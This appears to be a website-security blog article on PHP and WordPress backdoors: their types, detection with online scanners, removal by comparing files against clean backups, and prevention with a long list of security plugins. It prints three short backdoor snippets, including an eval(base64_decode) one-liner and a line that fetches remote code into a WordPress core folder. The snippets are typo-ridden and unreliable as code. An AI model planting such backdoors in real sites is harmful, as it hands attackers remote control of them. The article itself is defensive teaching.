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These are hidden entry points that offer unrestricted access to your website to anyone who knows how to use them. Codes which are deliberately planted on a website with an intention of further exploitation. Hackers love back doors because it allows them to control a website remotely, bypassing most security measures.
Backdoors can cause severe damage to your website. And you are very likely to suffer some or all of the following consequences.
Legitimate or Developer’s Backdoor These are sometimes called a Maintenance Hook, Administrative Backdoor, or a Proprietary Backdoor. They are backdoors created on purpose by developers during the development process of the software, hardware, or website. The back door allows them a quick way to test features, remove bugs and write code without having to create an actual account or deal with repeated logging in.
Illegitimate or Hacker’s back door. Sometimes called a backdoor attack. The backdoor gives hackers access to elevated user privileges that allow them to infect systems and networks.
Backdoors can be present in computing hardware, software, or firmware. Backdoors have also been found in CPU's, Web Servers. In Operating Systems, applications, browsers. Websites, and databases.
Did you find strange pages or files that you did not create? Did you find malware on your website or find it again even after a thorough cleanup? One symptom is multiple malware infections to your website. Do you see unauthorized activities from your websites accounts
Then you probably have a hidden backdoor on your business website.
As the name suggests, backdoors are malicious scripts hidden in files and folders of a website. The main purpose of backdoors is to remotely control the website by dodging the usual authentication processes. Most of the time, they can remain undetected even after a malware cleanup.
What makes these website back doors so dangerous is that they are designed with the purpose of staying hidden. Not only backdoors are known to disguise themselves as legitimate scripts which makes it even more difficult to detect, but there are many types of website backdoors.
Knowing about the different types can help in the search as you will have an idea of what to look for. Website backdoors are broadly classified into three categories:
Do not let the name deceive you. The name might be simple, but it is hardest to find. You can imagine how difficult it could be to find out a single line of text from thousands of lines of code.
Example of a "One Liner" backdoor.
##########################################
eval (base64_decode($_post[“php”]);
##########################################
The multi-liner backdoors are a group of malicious codes that are hidden in legitimate files. It is comparatively easier to detect multi-liner backdoors than one-liner backdoors, as they are sometimes easier to locate.
Example of a "Multi Liner" backdoor.
##########################################
$ auth_pass = "63a9f0eakeoi374mismw293";;
$ color = "#dg4";;
$ defualt_action = "SQL";;
$ defualt_charset = "Windows-1251";;
$ protectionoffer = "flcken";;
preg_replace("/.*/e","x65x78x51x7d.. (hundreds of more lines);
##########################################
There are certain backdoors that are specifically designed for CM'S like WordPress. For instance, PHP based CMSs are targeted by most of the attackers.
The below code is an example of such a CMS specific backdoor.
################################################################
@ file_put_contents (; ABSpath .;; '/wp-includes/class.wp.php';;
file_get_contents (;'; http://www.example.com/admin.text');;;
################################################################
One way to find backdoors is to use an online scanner such as the ones listed below.
Sucuri • Scan your website against malware for free.
Coder Duck • Free malware scanning for your Website.
Hacker Combat • Free Website Malware Scanner.
Scan trics • Analyze your website security.
PC risk • Scans websites for malicious code, hidden iframes, vulnerability exploits.
Web Inspector • Scan for malicious software and other website malware.
Malcure • Free website security scanner.
Virus Total • Analyze suspicious files, domains, IP's, and URLs to detect malware and other breaches, automatically share them with the security community.
The best way to remove a website backdoor is by comparing the infected files on your website to that of a Pre Infected Website backup.
These files are recognized by a numerical signature known as a checksum. It will help you in the verification of whether your files are infected. Or if you notice any file has been modified without your knowledge, you should definitely check those.
If you were recently attacked and have not removed the modified files from your website, do it now
You can also manually check the contents of the files and look for any modification and remove the modified snippet manually. But we will suggest you delete the entire file because you never know where the backdoor can be hidden.
After the removal of backdoors, the next wise step would be taking preventive measures against backdoor hacks.
As we have said before, always keep the core files of your website updated. The same goes for themes and extensions.
Inactive themes and plugins are the best places to hide a website backdoor. If you still have inactive themes and plugins, remove them.
The login page of any website is the most vulnerable point. If a hacker gets past your login page, they will have complete control over your site. Along with strong credentials, multifactor authentication can help immensely.
Use a reliable firewall from a trusted source to build a wall between the incoming traffic and your website.
There are thousands of malware scanning and Security plugins that you can use to scan your WordPress website for intrusions.
• WPScan WordPress Security Scans your system for security vulnerabilities listed in the WPScan Vulnerability Database.
• Security Ninja Tests security issues, malware & warns of dangerous plugins.
• Sucuri Plugin Security tool-set for security integrity monitoring, malware detection and security hardening.
• All in One WP Security A comprehensive, user-friendly, all in one WordPress security and firewall plugin for your site.
• SecuPress Free Protect your WordPress with SecuPress, analyze and ensure the safety of your website daily.
• Google Authenticator plugin Google Authenticator, Two-Factor Authentication, OTP verification, SMS, and Email.
• Bullet Proof Security Malware scanner, Firewall, Login Security, DB Backup, Anti-Spam and much more.
• Defender Security Malware scanner, IP blocking, audit logs, activity logs, firewall, login security and more.
• Shield Security Add expert security to all your WordPress sites with Shield Security, without being a security expert.
• iThemes Security, Formerly Better WP Security.
• Wordfence Firewall, malware scan, blocking, live traffic, login security & more.
• WP fail2ban Write a myriad of WordPress events to syslog for integration with fail2ban.
• MalCare Security Smart Firewall, malware scan, login protection and more.
• WordPress Security Firewall, malware scan, blocking, live traffic, login security and more.
• WP Cerber Security Malware scanner and integrity checker. User activity log. Antispam reCAPTCHA. Limit login attempts.
• Loginizer WordPress security plugin which helps you fight against brute-force attacks.
• Jetpack Backup, anti-spam, malware scan, CDN, AMP, integrations with Woo, Facebook, Instagram, Google.
• VaultPress A subscription service offering real-time backup, automated security scanning, and support from WordPress experts.
• Hide My WP Hide all common paths, wp-admin, wp-login, wp-content, plugins, themes, authors, comments Add Firewall, Brute Force protection & more.
• WebARX Web application firewall identifies plugin vulnerabilities and blocks malicious attacks with virtual patches.
• Security and Malware scan by CleanTalk Security, FireWall, Malware auto scan, online security. Security plugin.
• SecuPress Free Protect your WordPress with SecuPress, analyze and ensure the safety of your website daily.
Website backdoors can turn into a disaster if left unchecked. It is crucial for the safety of your website and visitors that you remove backdoors immediately.
Tighten the overall security of your website to prevent any hacker intrusion. If you add new features or update your website regularly.
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